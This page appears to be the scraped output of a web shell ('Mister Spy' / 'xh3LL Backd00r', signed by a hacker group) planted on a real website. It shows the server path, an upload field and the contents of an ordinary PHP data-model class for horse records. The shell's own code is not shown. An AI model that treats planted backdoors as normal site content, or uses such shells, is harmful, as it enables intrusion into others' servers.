Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/espanol/library/
Upload File :
Current File : /home/caballoscriollos/public_html/espanol/library/class.animal.php

<?php
require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.pdres.php');
require_once('class.exiss.php');
require_once('class.extrs.php');

class Animal {

    public $IdAnimal;
    public $IdProd;
    public $IdPa;
    public $IdMa;
    public $IdPdre;
    public $IdExis;
    public $IdExtr;
    public $Tabla;
    public $Animal;

    public function __construct() {
        $this->IdAnimal     = '';
        $this->IdProd       = '';
        $this->IdPa         = '';
        $this->IdMa         = '';
        $this->IdPdre       = '';
        $this->IdExis       = '';
        $this->IdExtr       = '';
        $this->Tabla        = '';
        $this->Animal       = null;
    }

    public function ParseFromArray(array $arr) {

        $this->IdAnimal     = $arr['IdAnimal'];
        $this->IdProd       = $arr['IdProd'];
        $this->IdPa         = $arr['IdPa'];
        $this->IdMa         = $arr['IdMa'];
        $this->IdPdre       = $arr['IdPdre'];
        $this->IdExis       = $arr['IdExis'];
        $this->IdExtr       = $arr['IdExtr'];
        $this->Tabla        = $this->GetTabla();
        $this->Animal       = $this->GetAnimal();

    }

    private function GetTabla() {

        if ($this->IdPdre) {
            return 'tblPdre';
        }

        if ($this->IdExis) {
            return 'tblExis';
        }

        return 'tblExtr';

    }

    private function GetAnimal() {

        $oPdres = new Pdres();
        $oExiss = new Exiss();
        $oExtrs = new Extrs();

        if ($this->IdPdre) {
            return $oPdres->GetById($this->IdPdre);
        }

        if ($this->IdExis) {
            return $oExiss->GetById($this->IdExis);
        }

        return $oExtrs->GetById($this->IdExtr);

    }

}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat